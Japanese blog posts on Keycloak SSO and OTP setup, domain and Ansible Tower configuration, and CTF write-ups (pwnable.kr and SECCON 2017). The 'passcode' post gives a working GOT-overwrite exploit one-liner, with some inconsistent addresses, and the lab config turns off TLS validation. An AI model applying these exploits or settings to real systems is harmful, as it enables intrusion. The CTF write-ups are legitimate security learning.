KeycloakでOpenID Connectを使ってSSOしたときのメモ(認可コードフロー)

はじめに

Keycloak で OpenID Connect を使って SSO をしてみたときのメモです。
今回の内容は以下の記事を参考に実際にやってみた際の手順になります。
ですので、詳しい内容は以下の記事をみていただけたらと思います。
qiita.com

前提条件

Keycloak に関しては、以下の記事で構築済みとします。(http://localhost:8080 で起動済みであることを前提とします)
http://kent056-n.hatenablog.com/entry/2018/06/11/235544kent056-n.hatenablog.com また、認可コードフローに関しては先ほど紹介した記事の「というか、認可コードフローってなんだっけ?」に記載してありますので、割愛します。

環境

Relying Party の環境

項目
OS CentOS 7.2
URL http://192.168.33.11
クライアントID(client_id) apache24
リダイレクトURI http://192.168.33.11/private/callback

OpenID Provider(Keycloak の環境)

項目
OS CentOS 7.2
URL http://192.168.33.10:8080
エンドポイント http://192.168.33.10:8080/auth/realms/master/.well-known/openid-configuration

Relying Party(RP)構築

Relying Party に関しては、「Relying Party (RP) を作る」を参考にmod_auth_openidcを使って進めていきます。

環境の用意

VirtualBoxVagrant を利用して Relying Party のサーバーを用意していきます。

$ mkdir relying_party
$ cd relying_party
$ vagrant init bento/centos-7.2

次に、ip アドレスと ssh のポート番号が重複しないように Vagrantfile を編集し、以下の二行を追記します。

config.vm.network "private_network", ip: "192.168.33.11"
config.vm.network "forwarded_port", guest: 22, host: 22222, id: "ssh"

編集できたら保存し、サーバーの起動及びログインをします。

$ vagrat up
$ vagrant ssh

ログインできたら、必要なものをインストールしていきます。vim は任意です。

# sudo -s
# yum install vim
# yum install mod_auth_openidc

Keycloak 設定

Keycloak 管理コンソールに管理者でログインしておきます。 このとき、realm が Master になっていることを確認してください。(realm が Master である必要はないですが、realm によって設定が変わる箇所があるので一応...)

クライアントの設定

[Clients] > [Create]からクライアントの設定をしていきます。 f:id:kent056-n:20180624231614p:plain Client ID は Relying Party の設定で書いた apache24、Client Protocol はopenid-connectを選択して Save を押します。 また、Access Type を public から confidential 、Consent Required を ON 、Valid Redirect URIs にhttp://192.168.33.11/private/callbackをそれぞれ設定して Save を押します。
上記の操作をした場合、以下のような設定になってるかと思います。 f:id:kent056-n:20180624231726p:plain 次に、Clients の Credentials タブを選択し、Client Authenticator が Client and Secret であることを確認し、Secret をメモしておきます。(Secret は後で使います) f:id:kent056-n:20180624232811p:plain

ユーザーの追加

SSO するユーザーを追加しておきます。 [Users] > [Add user]から追加していきます。今回は Username を u111 、Firest Name を u111 、Last Name を test として登録しておきました。 f:id:kent056-n:20180624234527p:plain 登録できたら、[Credentials]タブの Manage Password からパスワードを設定しておきます。

Relying Party 設定

mod_auth_openidc の設定

mod_auth_openidc(Apache)を設定する」を参考に httpd.conf を編集して Relying Party の設置をおこなっていきます。

# vim /etc/httpd/conf/httpd.conf

今回は httpd.conf に以下の内容を追記しました。
IDCPreservePost ディレクティブに関してはエラーが出ていたので、コメントアウトしました(ちゃんと調べよう...)
個人的に感じた注意点としては以下の二点ですかね。
・OIDCProviderMetadataURL ディレクティブに設定する URL が realm によって変わる
http://192.168.33.10:8080/auth/realms/【realm 名】/.well-known/openid-configuration
・OIDCClientSecret に先ほどメモしておいた Secret を入れる

LoadModule auth_openidc_module modules/mod_auth_openidc.so

OIDCProviderMetadataURL       http://192.168.33.10:8080/auth/realms/master/.well-known/openid-configuration
OIDCClientID                  apache24
OIDCClientSecret              c45d6804-40d6-4b46-8d62-6f6b36bba7d6
OIDCResponseType              code
OIDCScope                     "openid"
OIDCSSLValidateServer         Off
OIDCProviderTokenEndpointAuth client_secret_basic

OIDCRedirectURI               http://192.168.33.11/private/callback
OIDCCryptoPassphrase          passphrase
#OIDCPreservePost              On

<Location /private>
   AuthType         openid-connect
   Require          valid-user
</Location>
<Location /public>
   OIDCUnAuthAction pass
   AuthType         openid-connect
   Require          valid-user
</Location>

コンテンツの追加

ドキュメントルート以下にコンテンツをおいておきましょう。今回は /var/www/html/private/以下に 以下のような html ファイルを index.html としておいておきます。

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <title>SSO の確認</title>
</head>

<body>
   <h1> success!!</h1>
</body>
</html>

確認

http://192.168.33.11/private/index.htmlにアクセスします。
以下のように Keycloak のログイン画面へ遷移するので、Username と Password をそれぞれ入力します。 f:id:kent056-n:20180625000237p:plain すると、以下のようなに同意を求められるので同意します。 f:id:kent056-n:20180625000039p:plain 最終的に以下のような画面が表示されたら成功です。 f:id:kent056-n:20180625000536p:plain

おわりに

色々設定できそうなのでやっていきたい。

参考資料

https://qiita.com/rawr/items/d4f45e094c39ef43cbdf

KeycloakでOTP認証を試してみたときのメモ

はじめに

以下の記事を参考に Keycloak で二要素認証をしてみた。
そのときのメモ。結論から言うと、めちゃめちゃ簡単にできた。

qiita.com

準備

Keycloak のデプロイは以下の記事を参考にすでにできているものとします。あとは、「FreeOTP」がインストールされた IPhone を用意します。(今回は試していないのですが Google Authenticator でもできるようですね) http://kent056-n.hatenablog.com/entry/2018/06/11/235544kent056-n.hatenablog.com

やったこと

上記で紹介した qiita に書かれている記事通りの手順で問題なくできた。

Keycloak 管理設定

まず、Keycloak管理設定を確認してみるを参考に、Keycloak管理コンソールにアクセスして設定していきます。
前回の記事通りの設定であれば、http://192.168.33.10:8080/auth/admin/master/console/にアクセスして、[Configure] > [Authentication]で認証フローの設定画面にたどり着けます。 記事にも記載されていますが、こちらの認証フロー設定画面で、各認証タイプに対して、「ALTERNATIVE」、「REQUIRED」、「OPTIONAL」、「DISABLED」が設定できます。
利用したい認証タイプの必要条件を変更することで多要素認証が実現できるようですね。今回は以下のような設定にしておきました。 f:id:kent056-n:20180621010202p:plain

OTPポリシー設定

先ほどの Authentication のページの OTP Policy タブをクリックすることで OTP のポリシーが設定できます。
設定できる項目としては、「OTP Type」、「OTP Hash Algorithm」、「Number Digits」、「Look Ahead Window」、「OTP Token Period」、「Supported Application」があります。それぞれの設定できる値と?マークに記載されている説明をまとめてみました。

項目 説明 設定値
OTP Type totp is Time-Based One Time Password. 'hotp' is counter base one time password in which the server keeps a counter to hash against TimeBased・Councer Based
OTP Hash Algorithm What hashing algorithm should be used to generate the OTP. SHA1・SHA256・SHA512
Number of Digits How many digits should the OTP have? 6・8
Look Ahead Window How far ahead should the server look just in case the token generator and server are out of time sync or counter sync? 任意の値?(デフォルトは 1)
OTP Token Period How many seconds should an OTP token be valid? Defaults to 30 seconds. 任意の値?(デフォルト 30)
Supported Applications Applications that are known to work with the current OTP policy FreeOTP, Google Authenticator

OTP Hash Algorithm といったものだけでなく、TOTP、HOTP といった OTP Type まで UI から選べるのは良いですね。(Supported Applications の追加はできないのかどうか気になる...)
今回は「OTPポリシー」タブと同様に、以下のデフォルト値のまま進めていきました。(また別の記事か何かでいろいろと挙動を確認したい...) f:id:kent056-n:20180621010406p:plain

ユーザ設定

以下の Admin console から、右上の [Admin] > [Managed account] > [Authenticator]の順でユーザの OTP 設定をおこなう。 f:id:kent056-n:20180621013236p:plain ユーザ設定をしてみるを参考に、FreeOTPの設定をしてく。
以下のような画面が表示されたらおそらく設定がうまくできているかと思います。(全く同様の手順で設定できました) f:id:kent056-n:20180621013719p:plain

確認

ここまでできたら、最後に確認をします。
こちらも、認証の確認をしてみると同様の手順でパスワード > OTPの順で入力することで確認できました。

おわりに

かなり簡単にできました。

Freenomで取得した無料ドメインをDigitalOceanに設定する方法

Freenomでドメインの取得

Freenomでドメインを取得する方法については以下のページに詳しく書いてあります。こちらを参考にしてドメインの取得を行なってください。
無料でドメインを取得!Freenomでのドメイン取得方法!&ドメインをさくらインターネットのVPSに設定する方法 – ちんぷいどっとねっと

Freenom での設定

ドメインが取得できたら、必要なDNSの設定を行なっていきます。
トップページから、[Services] → [MyDomains] と選択し、MyDomainsのページへ移動します。
移動したのち、先ほど取得したドメインが表示されていると思うので、[Management Domain] を選択します。
すると、"Managing 【ドメイン名】"と書かれたページに移動しているかと思います。ここで[Management Tools] → [NameServers] を選択してください。
以下のような画面が表示されたら、DigitalOceanのNameserverを入力してください。
f:id:kent056-n:20180509234347p:plain

DigitalOceanでの設定

トップページの [Networking] タグから [Domains] を選択し、Add a domain で先ほど作成したドメインを追加してください。 必要に応じて、ドメイン名を選択して、各種レコードの設定をおこなてください。(自分が試した際はデフォルト設定のままで問題なかったはずです)

VagrantとVirtualBoxでAnsible Towerをインストールしてみた

事前にVagrantVirtualboxをインストールしておく。
以下のコマンドを実行し、CentOS7系のboxを入手する。

$ mkdir tower
$ cd tower
$ vagrant init bento/centos-7.2
$ vagrant up

Ansible TowerはRAMが2GB以上でないと動かないのでVagrantfileに以下の内容を追記する。

$ vim Vagrantfile

  config.vm.provider "virtualbox" do |vb|
     vb.memory = "2048"
  end

また、以下の行のコメントアウトを外して、IPアドレスの設定も行なっておきます。

config.vm.network "private_network", ip: "192.168.33.10"

ここまでできたら、AnsibleとAnsibleTowerをそれぞれインストールする。
Ansible Towerのインストールに関しては以下のページに詳細に書いてあったので、参考にさせてもらいました。

blog.serverworks.co.jp

まず、Ansibleをインストール時、EPEL リポジトリを使用するため以下を実行して有効化します。

$ sudo yum install http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm

Ansible Tower インストール時に以下のリポジトリが必須のため、yum-config-managerで有効化します。

$ sudo yum -y install yum-utils (yum-config-managerが入っていない場合のみ)
$ sudo  yum-config-manager --enable rhui-REGION-rhel-server-extras

パッケージを最新の状態にする。

$ sudo yum update

Ansibleをインストールする。

$ sudo yum install ansible wget

Ansible Tower をインストール及び解凍する。

$ wget http://releases.ansible.com/ansible-tower/setup/ansible-tower-setup-latest.tar.gz
$ tar xvzf ansible-tower-setup-latest
$ cd ansible-tower-setup-【バージョン】

Inventoryファイルを編集し、パスワードを設定する。

$ vi inventory

admin_password='【パスワード】'
pg_password='【パスワード】'
rabbitmq_password='【パスワード】'
$ sudo ./setup.sh

セットアップが成功したら、実際にプレイブックを実行してみます。 プレイブックの実行に関しては以下のスライドを参考にさせてもらいました。
Ansible tower 構築方法と使い方

以下のコマンドでIPアドレスを確認してブラウザでアクセスします。ユーザー名はadmin、パスワードは先ほどInventoryファイルに記載したものでログインすることができます。

$ ip a

ブラウザでアクセスするとライセンスを要求されるので画面の指示にしたがって必要事項を記入していきます。

[プロジェクト]タブをクリックすると、Demo Projectというプロジェクトがデフォルトで用意されていることがわかります。
f:id:kent056-n:20171231231129p:plain

このプロジェクトはHello Worldを表示するだけのものであり、以下からPlay Bookの取得を行なっています。 (ジョブ実行後に/var/lib/awx/projects以下に配置されています。)
GitHub - ansible/ansible-tower-samples: Ansible Tower Playbook Samples
f:id:kent056-n:20171231231146p:plain

実際に[テンプレート]タブをクリックし、ロケットマークのジョブ実行アイコンをクリックします。
正しくJobが成功すると、Hello World! が表示されます。

pwnable.krのメモ【passcode】

以下、問題文。

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

まず sshで接続すると、passcodepasscode.c、flag の3つのファイルがある。 とりあえず実行

$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : hoge
Welcome hoge !
enter passcode1 : 338150
Segmentation fault

Segmentation fault が起きる(338150を入力したのはpasscode.cに以下の条件式があったから)。

 if(passcode1==338150 && passcode2==13371337){

問題の箇所は以下のコードっぽい。本来scanf関数の第2引数はアドレスを渡さなければならないのに変数がそのまま入ってしまっている。

scanf("%d", passcode1);

ここからはgdbでみて行く。

gdb-peda$ disas welcome

上記のコマンドを実行すると、lea edx, [ebp-0x70]と書いてあることから、変数 name は[ebp-0x70] にあるだろうと推測できる。

gdb-peda$ disas login

また、上記のコマンドを実行すると、mov edx, [ebp-0x10]と書いてあることから、変数passcode1は[ebp-0x10]にあるだろうと推測することができる。 0x70-0x10 = 96 なので、nameに格納できる100byteのうち、残りの4byteでpasscode1を上書きできることがわかる。

gdb-peda$ disas fflush

上記のコマンドの結果より<fflush@plt>がcallされた時に0x804a004にジャンプしていることがわかる. fflush関数のGOTアドレス0x80a004をflagを表示しているアドレスに書き換えることで、fflush関数が呼ばれた時にflagを表示するようにする。 flagを表示している箇所のアドレスは0x80487afだと推測できるので、あとは以下のコマンドで書き換える。

python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode

SECCON2017 writeup

今回はぼっち参加だった。

とりあえず興味のあるCryptoを解いて行こうというお気持ちでスタートした。

解いたのはVigenere3dとSHA-1 is deadとPs and Qsの3問のみ。

Vigenere3d

プログラムの以下の箇所より、暗号文は平文の文字と鍵kのi番目と鍵kのlen(k)-i番目の文字によって決まることがわかる。

c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])]

鍵kの長さが14で、わかっている平文がSECCON{の7文字あるので、ヴィジュネル方陣を固定してしまえば鍵がわかる。 (鍵kはi番目のの文字とlen(k)-i番目の文字の差が一定であればなんでもよい)

$ python Vigenere3d.py SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAA} AAAAAAA_aZ2PK_
POR4dny_aZ2PK__KP2Za__aZ2PK__KP2Z9

この状態でPOR4dny_aZ2PK__KP2Za__aZ2PK__KP2Z9 → POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9になるような残りの平文を探して行く。

s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
c1 = "TLHBfwbxAAZhe}}ocZR3Cxcftw"
c2 = "_aZ2PK__KP2Za__aZ2PK__KP2Z"
flag = ""

for i in range(len(c1)):
    num = s.find(c1[i]) - s.find(c2[i])
    if num < 0 : 
        num = len(s) + num 
    flag += s[num]
print flag

FLAGはWelc0me_to_SECCON_CTF_2017 おわり

SHA-1 is dead

以下より、SHA-1が衝突した2つのpdfを取ってくる。しかし、このままではファイルサイズが条件に合わない。
https://shattered.io/
どうやら、先頭320バイトの部分で衝突が起きていてそれ以降が同じ値ならずっと衝突し続けるらしい。
巷で話題のGoogleのSHA-1衝突やってみた | 73spica's Blog
ddコマンドでそれっぽいサイズのファイルを作って、Googleのpdfをバイナリエディタでコピペして終わり。
FLAGはSECCON{SHA-1_1995-2017?}

Ps and Qs

公開鍵が二つと暗号文が一つが渡される。 この時点で、「二つのnが共通の因数を持っているときは簡単に素因数分解できるよね!」問題であるとわかる。 http://www2.nict.go.jp/csri/plan/H26-symposium/files/3-2.pdf
以下のコマンドで公開鍵の中身を表示。

openssl rsa -text -noout -pubin -in pub1.pub 

適当に:を取り除いて、intに直して復号する。

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
import binascii

def gcd(x, y):
    r = modlog(x, y)
    while r != 0:
        x = y 
        y = r 
        r = modlog(x, y)
    return y

def modlog(x, y): 
    r = x % y 
    return r

def main():
    u1 = 847796795638781450678718708664542960446354226336422534142899480441478781747168340722544245493739168125415291376063352480076469305992008517388366298914970810765149321160596112226917023146371080685458239747986992197343482255681414590678694753885521068656675164266739274608505094927725285868801825144058835115051061857233824816176186349372737400492228548130718029270482313906040935333159681273527671359469173939861889228505791626525994180917670701909816457560622922219797109618405842358250940062127841301193206255543580550667149741357342408703680375118252445296600962244008043713708516004025217199954286478272550961283413053789743740774140439284662596273452124779590753836094450154459078034659421366584354005421566290862244000178569163732971816333961711759000171156293724203334889496589376907683142167883476184246287660764821622298961378903818077158234683927321823293466245584486980446609569799420950073036635602004293246754252079757527610246223280774592566063422181158810677919909523144033543195999214800559998598003329294711989868113423468536273984117507008756542731210465222475943122324672467669623079721727526348599823126409108190030551584092950358235465140166515452377475799157617227362838246912839086733412861436353117994501342653
    u2 = 763718912475160487902804749669814117361530270298225094625871588939939773892509348006077810445741086683427253000695920011673348476297973798322806091336777405584801442639626925406721932533140226556519019440300864340670199686368307155860493615065198319490060598587202051942638792919648596288576294804549738135969737494734307362891313864027749187674251692407867312885251279302785352318725391842117065840058358065676707016006124478822206302825992616559261930620693061673348139416033418864269248381876692676529410115745518353146254670349865568255213560376368953292931958006941630719304442332912813624543600126197554727832190226632919876204677667384620275620336951964833888599634720101911051166398907898747710391394105753614253527704990658698844796442515669670816004761855554187277637871343595647487793209271354240148469085627742503649786300484610102224828274384484809539697728008552925590472129497180290668277790132130824141651399551803499770513576176720509094833332201946177880267399933460994496277590932311628302240154240967341858152145815276163397709272690500041597393678630136932574450837982593210399370333578887450410911663220219423601973078501237709613593311133945501455828164291429228495931943107997137587307522565029820756690578833
    q = gcd(u1, u2) 
    p1 = u1 / q 
    p2 = u2 / q 
    p = p1
    e = 65537
    n = p*q 
    d = inverse(e, (p-1)*(q-1))
    c = 658063702174492170630737837355589886583067761650983363941909994400817849856699417146067253546506602278075708984235030629800257348531833245813500290774620305460892522597019439353562154791548732158611776887029731801160549012269973218438385289683478390258807883040582486877315287316434659387503441900781236184660059984452592862372092943601918214678188098699869456828712213889111037574260127805370442774040527872243053566674392335408758655125255348375903482668216482987543268073626349429427137502888363903952006288982053867518114220684218204451432796538994848617443448310129521661643038060029344993848959815504667821131473020187375309009206832679656996752407442812626820517856712301473172939393077581041096102765300236211230880310865997117134702580037421149475552478616188956436553987824362086889555205262619209905351934963104086266912820024692280089431479663058370757076811911498591955722977726204374289841309901648701195859400837279037103456926577158547907968290437097309522419677174364683467262506453282619330543399466280395015485412557434129628605096528473160112582078299169455676557687825433899041475427962227421628101522052945742591131895830805488509689551017396730038834596064101206291844830276746407286995621109990490886816777237


    key = RSA.construct(map(long, (n,e,d)))
#  print  binascii.unhexlify(hex(key.decrypt(c))[2:]).decode()
    print  hex(key.decrypt(c))[2:]

if __name__=="__main__":
    main()

binascii.unhexlify(hex(key.decrypt(c))[2:]).decode()でいい感じにFLAGが表示されなかったので、hex(key.decrypt(c))[2:]で表示をみてみると、それっぽいものを見つけた。
534543434f4e7b313233343536373839304142434445467d
この部分だけ何が書いてあるのかみてみると、

>>> import binascii
>>> binascii.unhexlify("534543434f4e7b313233343536373839304142434445467d")
b'SECCON{1234567890ABCDEF}'

FLAGはSECCON{1234567890ABCDEF}

おわりに

文章力の無さは許してくだい。
サイコロ出たい...

pwnable.kr のメモ【flag】

http://pwnable.kr の flag を解いたのでメモ

以下、問題文。とりあえずダウンロードしてみた。

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

ダウンロードしたファイルの種類を確認して、実行権限を与えて実行。

$ file flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
$ ls -l 
$ chmod +x flag
$./flag
I will malloc() and strcpy the flag there. take it.

なんかメッセージがでた。試しに gdb で実行を確認してみようとするがうまくいかなかったので stringsコマンドで実行ファイルの中身をみたら以下のような文を発見した。どうやら UPX というソフトウェアで圧縮されているらしいので解凍する必要があるっぽい。

$Info: This file is packed with the UPX executable packer http://upx.sf.net $

解凍すると無事、gdb で実行を確認することができるようになった。

gdb-peda$ disas main

main のアセンブリコードを確認すると、以下のような行を発見。

0x0000000000401184 <+32>:   mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>

上記のアドレスにブレークポイントを指定して再び実行して rdx の中身を確認して終わり。

gdb-peda$ b *main+32
gdb-peda$ run
gdb-peda$ ni
gdb-peda$ x/s $rdx